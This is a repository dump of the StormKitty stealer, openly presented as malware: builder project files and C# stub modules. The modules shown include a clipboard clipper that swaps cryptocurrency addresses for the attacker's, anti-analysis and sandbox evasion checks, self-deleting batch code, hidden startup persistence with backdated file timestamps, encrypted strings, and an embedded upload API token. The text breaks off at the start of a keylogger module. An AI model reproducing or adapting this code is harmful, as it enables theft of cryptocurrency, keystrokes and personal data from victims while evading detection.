17 | // Установка значения False для параметра ComVisible делает типы в этой сборке невидимыми
18 | // для компонентов COM. Если необходимо обратиться к типу в этой сборке через
19 | // из модели COM задайте для атрибута ComVisible этого типа значение true.
20 | [assembly: ComVisible(false)]
21 |
22 | // Следующий GUID представляет идентификатор typelib, если этот проект доступен из модели COM
23 | [assembly: Guid("98075331-1f86-48c8-ae29-29da39a8f98b")]
24 |
25 | // Сведения о версии сборки состоят из указанных ниже четырех значений:
26 | //
27 | // Основной номер версии
28 | // Дополнительный номер версии
29 | // Номер сборки
30 | // Номер редакции
31 | //
32 | // Можно задать все значения или принять номера сборки и редакции по умолчанию
33 | // используя "*", как показано ниже:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/StormKittyBuilder.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {98075331-1F86-48C8-AE29-29DA39A8F98B}
8 | Exe
9 | StormKittyBuilder
10 | StormKittyBuilder
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 | ..\packages\Mono.Cecil.0.11.2\lib\net40\Mono.Cecil.dll
59 |
60 |
61 | ..\packages\Mono.Cecil.0.11.2\lib\net40\Mono.Cecil.Mdb.dll
62 |
63 |
64 | ..\packages\Mono.Cecil.0.11.2\lib\net40\Mono.Cecil.Pdb.dll
65 |
66 |
67 | ..\packages\Mono.Cecil.0.11.2\lib\net40\Mono.Cecil.Rocks.dll
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/LICENSE.TXT:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) .NET Foundation and Contributors
4 |
5 | All rights reserved.
6 |
7 | Permission is hereby granted, free of charge, to any person obtaining a copy
8 | of this software and associated documentation files (the "Software"), to deal
9 | in the Software without restriction, including without limitation the rights
10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11 | copies of the Software, and to permit persons to whom the Software is
12 | furnished to do so, subject to the following conditions:
13 |
14 | The above copyright notice and this permission notice shall be included in all
15 | copies or substantial portions of the Software.
16 |
17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
23 | SOFTWARE.
24 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/Microsoft.VisualBasic.10.3.0.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/Microsoft.VisualBasic.10.3.0.nupkg
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netcore50/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netcore50/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netstandard1.3/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netstandard1.3/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netstandard2.0/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/lib/netstandard2.0/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netcore50/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netcore50/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netstandard1.1/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netstandard1.1/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netstandard2.0/Microsoft.VisualBasic.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/ref/netstandard2.0/Microsoft.VisualBasic.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Microsoft.VisualBasic.10.3.0/version.txt:
--------------------------------------------------------------------------------
1 | 30ab651fcb4354552bd4891619a0bdd81e0ebdbf
2 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/Mono.Cecil.0.11.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/Mono.Cecil.0.11.2.nupkg
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Mdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Mdb.pdb
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.dll
--------------------------------------------------------------------------------
/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025-builder/packages/Mono.Cecil.0.11.2/lib/net40/Mono.Cecil.pdb
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Clipper/Clipboard.cs:
--------------------------------------------------------------------------------
1 | using System.Threading;
2 |
3 | namespace Clipper
4 | {
5 | internal sealed class Clipboard
6 | {
7 |
8 | // Get text from clipboard
9 | public static string GetText()
10 | {
11 | string ReturnValue = string.Empty;
12 | try
13 | {
14 | Thread STAThread = new Thread(
15 | delegate ()
16 | {
17 | ReturnValue = System.Windows.Forms.Clipboard.GetText();
18 | });
19 | STAThread.SetApartmentState(ApartmentState.STA);
20 | STAThread.Start();
21 | STAThread.Join();
22 |
23 | }
24 | catch { }
25 | return ReturnValue;
26 |
27 | }
28 |
29 | // Set text to clipboard
30 | public static void SetText(string text)
31 | {
32 | Thread STAThread = new Thread(
33 | delegate ()
34 | {
35 | try
36 | {
37 | System.Windows.Forms.Clipboard.SetText(text);
38 | }
39 | catch { };
40 | });
41 | STAThread.SetApartmentState(ApartmentState.STA);
42 | STAThread.Start();
43 | STAThread.Join();
44 | }
45 |
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Clipper/Clipper.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Text.RegularExpressions;
3 |
4 | namespace Clipper
5 | {
6 | internal sealed class Clipper
7 | {
8 | // Find & Replace crypto addresses in clipboard
9 | public static void Replace()
10 | {
11 | string buffer = StormKitty.ClipboardManager.ClipboardText;
12 | if (string.IsNullOrEmpty(buffer))
13 | return;
14 | foreach (KeyValuePair dictonary in RegexPatterns.PatternsList)
15 | {
16 | string cryptocurrency = dictonary.Key;
17 | Regex pattern = dictonary.Value;
18 | if (pattern.Match(buffer).Success)
19 | {
20 | string replace_to = StormKitty.Config.ClipperAddresses[cryptocurrency];
21 | if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to))
22 | {
23 | Clipboard.SetText(replace_to);
24 | System.Console.WriteLine("Clipper replaced to " + replace_to);
25 | return;
26 | }
27 | }
28 | }
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Clipper/EventManager.cs:
--------------------------------------------------------------------------------
1 | using StormKitty;
2 |
3 | namespace Clipper
4 | {
5 | internal sealed class EventManager
6 | {
7 | // Start clipper only if active windows contains target values
8 | public static void Action()
9 | {
10 | if (Detect()) Clipper.Replace();
11 | }
12 |
13 | // Detect target data in active window
14 | private static bool Detect()
15 | {
16 | foreach (string text in Config.CryptoServices)
17 | if (WindowManager.ActiveWindow.ToLower().Contains(text))
18 | return true;
19 |
20 | return false;
21 | }
22 |
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Clipper/Patterns.cs:
--------------------------------------------------------------------------------
1 | using StormKitty.Implant;
2 | using System.Collections.Generic;
3 | using System.Text.RegularExpressions;
4 |
5 | namespace Clipper
6 | {
7 | internal sealed class RegexPatterns
8 | {
9 | // Encrypted regex
10 | public static Dictionary PatternsList = new Dictionary()
11 | {
12 | {"btc", new Regex(StringsCrypt.Decrypt(new byte[] { 101, 104, 232, 70, 131, 2, 105, 11, 2, 134, 44, 169, 122, 56, 46, 129, 23, 27, 97, 212, 199, 158, 175, 16, 165, 241, 141, 164, 102, 3, 5, 145, 147, 77, 3, 92, 37, 233, 1, 191, 166, 188, 170, 84, 34, 205, 172, 252, })) }, // Bitcoin
13 | {"eth", new Regex(StringsCrypt.Decrypt(new byte[] { 178, 131, 17, 73, 228, 215, 208, 239, 165, 193, 44, 48, 244, 234, 63, 230, 249, 53, 85, 154, 69, 110, 174, 226, 78, 114, 252, 113, 216, 176, 84, 187, })) }, // Ethereum
14 | {"xmr", new Regex(StringsCrypt.Decrypt(new byte[] { 135, 229, 55, 150, 69, 209, 91, 93, 46, 90, 196, 231, 29, 190, 16, 186, 42, 117, 213, 27, 254, 72, 32, 245, 73, 139, 159, 131, 178, 77, 74, 190, 103, 137, 128, 84, 9, 254, 20, 155, 102, 86, 11, 208, 26, 72, 38, 254, })) }, // Monero
15 | {"xlm", new Regex(StringsCrypt.Decrypt(new byte[] { 21, 45, 209, 236, 195, 53, 75, 126, 153, 32, 111, 94, 236, 195, 252, 51, 71, 3, 210, 165, 156, 130, 132, 67, 157, 162, 72, 182, 173, 220, 189, 190, })) }, // Stellar
16 | {"xrp", new Regex(StringsCrypt.Decrypt(new byte[] { 71, 128, 116, 254, 1, 99, 166, 213, 120, 158, 166, 85, 160, 13, 83, 52, 240, 208, 54, 57, 216, 28, 129, 7, 129, 119, 188, 131, 10, 75, 64, 17, })) }, // Ripple
17 | {"ltc", new Regex(StringsCrypt.Decrypt(new byte[] { 141, 183, 173, 79, 205, 14, 126, 4, 121, 145, 136, 39, 118, 18, 56, 83, 255, 155, 36, 223, 39, 49, 9, 181, 106, 92, 86, 146, 171, 93, 231, 105, 182, 141, 147, 125, 129, 163, 116, 246, 174, 123, 57, 201, 139, 61, 181, 136, })) }, // Litecoin
18 | {"bch", new Regex(StringsCrypt.Decrypt(new byte[] { 148, 241, 126, 127, 231, 116, 221, 234, 149, 81, 43, 23, 206, 211, 66, 31, 7, 1, 108, 100, 234, 171, 246, 190, 244, 243, 106, 45, 193, 68, 178, 177, 176, 125, 164, 74, 37, 31, 143, 12, 17, 121, 242, 77, 100, 77, 135, 156, })) }, // Bitcoin Cash
19 | };
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/AntiAnalysis.cs:
--------------------------------------------------------------------------------
1 | // https://github.com/LimerBoy/AntiAnalysis
2 | using System;
3 | using System.Linq;
4 | using System.Management;
5 | using System.Diagnostics;
6 | using System.Windows.Forms;
7 | using System.Runtime.InteropServices;
8 |
9 | namespace StormKitty.Implant // Анальный
10 | {
11 | internal sealed class AntiAnalysis
12 | {
13 | // CheckRemoteDebuggerPresent (Detect debugger)
14 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
15 | private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
16 | // GetModuleHandle (Detect SandBox)
17 | [DllImport("kernel32.dll")]
18 | private static extern IntPtr GetModuleHandle(string lpModuleName);
19 |
20 |
21 | ///
22 | /// Returns true if the file is running in debugger; otherwise returns false
23 | ///
24 | private static bool Debugger()
25 | {
26 | bool isDebuggerPresent = false;
27 | try
28 | {
29 | CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
30 | return isDebuggerPresent;
31 | } catch { }
32 | return isDebuggerPresent;
33 | }
34 |
35 | ///
36 | /// Returns true if the file is running in emulator; otherwise returns false
37 | ///
38 | private static bool Emulator()
39 | {
40 | try
41 | {
42 | long ticks = DateTime.Now.Ticks;
43 | System.Threading.Thread.Sleep(10);
44 | if (DateTime.Now.Ticks - ticks < 10L)
45 | return true;
46 | }
47 | catch { }
48 | return false;
49 | }
50 |
51 | ///
52 | /// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
53 | ///
54 | private static bool Hosting()
55 | {
56 | try
57 | {
58 | string status = new System.Net.WebClient()
59 | .DownloadString(
60 | StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
61 | return status.Contains("true");
62 | } catch { }
63 | return false;
64 | }
65 |
66 | ///
67 | /// Returns true if a process is started from the list; otherwise, returns false
68 | ///
69 | private static bool Processes()
70 | {
71 | Process[] running_process_list = Process.GetProcesses();
72 | string[] selected_process_list = new string[] {
73 | "processhacker",
74 | "netstat", "netmon", "tcpview", "wireshark",
75 | "filemon", "regmon", "cain"
76 | };
77 | foreach (Process process in running_process_list)
78 | if (selected_process_list.Contains(process.ProcessName.ToLower()))
79 | return true;
80 | return false;
81 | }
82 |
83 | ///
84 | /// Returns true if the file is running in sandbox; otherwise returns false
85 | ///
86 | private static bool SandBox()
87 | {
88 | string[] dlls = new string[5]
89 | {
90 | "SbieDll.dll",
91 | "SxIn.dll",
92 | "Sf2.dll",
93 | "snxhk.dll",
94 | "cmdvrt32.dll"
95 | };
96 | foreach (string dll in dlls)
97 | if (GetModuleHandle(dll).ToInt32() != 0)
98 | return true;
99 | return false;
100 | }
101 |
102 | ///
103 | /// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false
104 | ///
105 | private static bool VirtualBox()
106 | {
107 | using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
108 | {
109 | try
110 | {
111 | using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
112 | foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
113 | if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
114 | return true;
115 |
116 | }
117 | catch { return true; }
118 | }
119 | foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
120 | if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware") && managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
121 | return true;
122 | return false;
123 | }
124 |
125 | ///
126 | /// Detect virtual enviroment
127 | ///
128 | public static bool Run()
129 | {
130 | if (Config.AntiAnalysis == "1")
131 | {
132 | if (Hosting()) return true;
133 | if (Processes()) return true;
134 | if (VirtualBox()) return true;
135 | if (SandBox()) return true;
136 | if (Emulator()) return true;
137 | if (Debugger()) return true;
138 | }
139 | return false;
140 | }
141 |
142 | ///
143 | /// Run fake error message and self destruct
144 | ///
145 | public static void FakeErrorMessage()
146 | {
147 | string code = StringsCrypt.GenerateRandomData("1");
148 | code = "0x" + code.Substring(0, 5);
149 | MessageBox.Show("Exit code " + code, "Runtime error",
150 | MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
151 | SelfDestruct.Melt();
152 | }
153 |
154 | }
155 | }
156 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/Mutex.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 |
4 | namespace StormKitty.Implant
5 | {
6 | internal sealed class MutexControl
7 | {
8 | // Prevent the program from running twice
9 | public static void Check()
10 | {
11 | bool createdNew = false;
12 | Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);
13 | if (!createdNew)
14 | Environment.Exit(1);
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/SelfDestruct.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Diagnostics;
3 |
4 | namespace StormKitty.Implant
5 | {
6 | internal sealed class SelfDestruct
7 | {
8 | ///
9 | /// Delete file after first start
10 | ///
11 | public static void Melt()
12 | {
13 | // Paths
14 | string batch = Path.GetTempFileName() + ".bat";
15 | string path = System.Reflection.Assembly.GetExecutingAssembly().Location;
16 | int currentPid = Process.GetCurrentProcess().Id;
17 | // Delete library
18 | string dll = "DotNetZip.dll";
19 | if (File.Exists(dll))
20 | try
21 | {
22 | File.Delete(dll);
23 | } catch { }
24 | // Write batch
25 | using (StreamWriter sw = File.AppendText(batch))
26 | {
27 | sw.WriteLine("chcp 65001");
28 | sw.WriteLine("TaskKill /F /IM " + currentPid);
29 | sw.WriteLine("Timeout /T 2 /Nobreak");
30 | sw.WriteLine("Del /ah \"" + path + "\"");
31 | }
32 | // Start
33 | Process.Start(new ProcessStartInfo()
34 | {
35 | FileName = "cmd.exe",
36 | Arguments = $"/C {batch} & Del {batch}",
37 | WindowStyle = ProcessWindowStyle.Hidden,
38 | CreateNoWindow = true
39 | });
40 | // Wait for exit
41 | System.Threading.Thread.Sleep(5000);
42 | System.Environment.FailFast(null);
43 | }
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/StartDelay.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace StormKitty.Implant
4 | {
5 | internal sealed class StartDelay
6 | {
7 | // Sleep min, sleep max
8 | private static readonly int SleepMin = 0;
9 | private static readonly int SleepMax = 10;
10 |
11 | // Sleep
12 | public static void Run()
13 | {
14 | int SleepTime = new Random().Next(
15 | SleepMin * 1000,
16 | SleepMax * 1000
17 | );
18 | System.Threading.Thread.Sleep(SleepTime);
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/Startup.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace StormKitty.Implant
5 | {
6 | internal sealed class Startup
7 | {
8 | // Autorun path
9 | private static readonly string StartupDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
10 | public static readonly string ExecutablePath = System.Reflection.Assembly.GetEntryAssembly().Location;
11 | private static readonly string CopyExecutableTo = $"{StartupDirectory}\\{Path.GetFileName(ExecutablePath)}";
12 |
13 | // Change file creation date
14 | public static void SetFileCreationDate(string path = null)
15 | {
16 | string filename = path;
17 | if (path == null) filename = ExecutablePath;
18 | DateTime time = new DateTime(
19 | DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
20 |
21 | File.SetCreationTime(filename, time);
22 | File.SetLastWriteTime(filename, time);
23 | File.SetLastAccessTime(filename, time);
24 | }
25 |
26 | // Hide executable
27 | public static void HideFile(string path = null)
28 | {
29 | string filename = path;
30 | if (path == null) filename = ExecutablePath;
31 | new FileInfo(filename).Attributes |= FileAttributes.Hidden;
32 | }
33 |
34 | // Check if app installed to autorun
35 | public static bool IsInstalled()
36 | {
37 | return File.Exists($"{StartupDirectory}\\{Path.GetFileName(ExecutablePath)}");
38 | }
39 |
40 | // Install app to autorun
41 | public static void Install()
42 | {
43 | File.Copy(ExecutablePath, CopyExecutableTo); // Copy to startup dir
44 | HideFile(CopyExecutableTo);
45 | SetFileCreationDate(CopyExecutableTo);
46 | }
47 |
48 | // Executable is running from startup directory
49 | public static bool IsFromStartup()
50 | {
51 | return ExecutablePath.StartsWith(StartupDirectory);
52 | }
53 |
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Implant/StringsCrypt.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 | using System.Linq;
5 | using System.Security.Cryptography;
6 |
7 | namespace StormKitty.Implant
8 | {
9 | internal sealed class StringsCrypt
10 | {
11 | // Salt
12 | public static string ArchivePassword = GenerateRandomData();
13 | private static readonly byte[] saltBytes = new byte[] { 255, 64, 191, 111, 23, 3, 113, 119, 231, 121, 252, 112, 79, 32, 114, 156 };
14 | private static readonly byte[] cryptKey = new byte[] { 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 76, 105, 109, 101, 114, 66, 111, 121, 47, 83, 116, 111, 114, 109, 75, 105, 116, 116, 121 };
15 | public static string github = Encoding.UTF8.GetString(cryptKey);
16 |
17 | // Create hash from username, pcname, cpu, gpu
18 | public static string GenerateRandomData(string sd = "0")
19 | {
20 | string number;
21 | if (sd == "0")
22 | number = new Random().Next(0, 10).ToString();
23 | else
24 | number = sd;
25 |
26 | string data = $"{number}-{SystemInfo.username}-{SystemInfo.compname}-{SystemInfo.culture}-{SystemInfo.GetCPUName()}-{SystemInfo.GetGPUName()}";
27 | using (MD5 hash = MD5.Create())
28 | {
29 | return string.Join
30 | (
31 | "",
32 | from ba in hash.ComputeHash
33 | (
34 | Encoding.UTF8.GetBytes(data)
35 | )
36 | select ba.ToString("x2")
37 | );
38 | }
39 | }
40 |
41 | /*
42 | // Print bytes
43 | private static string PrintByteArray(byte[] bytes)
44 | {
45 | var sb = new StringBuilder("new byte[] { ");
46 | foreach (var b in bytes)
47 | {
48 | sb.Append(b + ", ");
49 | }
50 | sb.Append("}");
51 | return sb.ToString();
52 | }
53 |
54 | // Encrypt string
55 | public static string Encrypt(string text)
56 | {
57 | byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(text);
58 | byte[] encryptedBytes = null;
59 | using (MemoryStream ms = new MemoryStream())
60 | {
61 | using (RijndaelManaged AES = new RijndaelManaged())
62 | {
63 | AES.KeySize = 256;
64 | AES.BlockSize = 128;
65 | var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
66 | AES.Key = key.GetBytes(AES.KeySize / 8);
67 | AES.IV = key.GetBytes(AES.BlockSize / 8);
68 | AES.Mode = CipherMode.CBC;
69 | using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
70 | {
71 | cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
72 | cs.Close();
73 | }
74 | encryptedBytes = ms.ToArray();
75 | }
76 | }
77 | return PrintByteArray(encryptedBytes);
78 | }
79 | */
80 |
81 | // Decrypt string
82 | public static string Decrypt(byte[] bytesToBeDecrypted)
83 | {
84 | byte[] decryptedBytes = null;
85 | using (MemoryStream ms = new MemoryStream())
86 | {
87 | using (RijndaelManaged AES = new RijndaelManaged())
88 | {
89 | AES.KeySize = 256;
90 | AES.BlockSize = 128;
91 | var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
92 | AES.Key = key.GetBytes(AES.KeySize / 8);
93 | AES.IV = key.GetBytes(AES.BlockSize / 8);
94 | AES.Mode = CipherMode.CBC;
95 | using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
96 | {
97 | cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
98 | cs.Close();
99 | }
100 | decryptedBytes = ms.ToArray();
101 | }
102 | }
103 | return Encoding.UTF8.GetString(decryptedBytes);
104 | }
105 |
106 | // Decrypt config value
107 | public static string DecryptConfig(string value)
108 | {
109 | if (string.IsNullOrEmpty(value))
110 | return "";
111 |
112 | if (!value.StartsWith("ENCRYPTED:"))
113 | return value;
114 |
115 | return Decrypt(Convert.FromBase64String(value
116 | .Replace("ENCRYPTED:", "")));
117 | }
118 |
119 | // Anonfile API key
120 | public static string AnonApiToken = Decrypt(new byte[] { 169, 182, 79, 179, 252, 54, 138, 148, 167, 99, 216, 216, 199, 219, 10, 249, 131, 166, 170, 145, 237, 248, 142, 78, 196, 137, 101, 62, 142, 107, 245, 134, });
121 | }
122 | }
123 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Keylogger/EventManager.cs:
--------------------------------------------------------------------------------
1 | using Stealer;
2 | using StormKitty;
3 | using System;
4 | using System.IO;
5 |
6 | namespace Keylogger
7 | {
8 | internal sealed class EventManager
9 | {
10 |
11 |
12 | private static string KeyloggerDirectory = Path.Combine(
13 | Paths.InitWorkDir(), "logs\\keylogger\\" +
14 | DateTime.Now.ToString("yyyy-MM-dd"));
15 |
16 | // Start keylogger only if active windows contains target values
17 | public static void Action()
18 | {
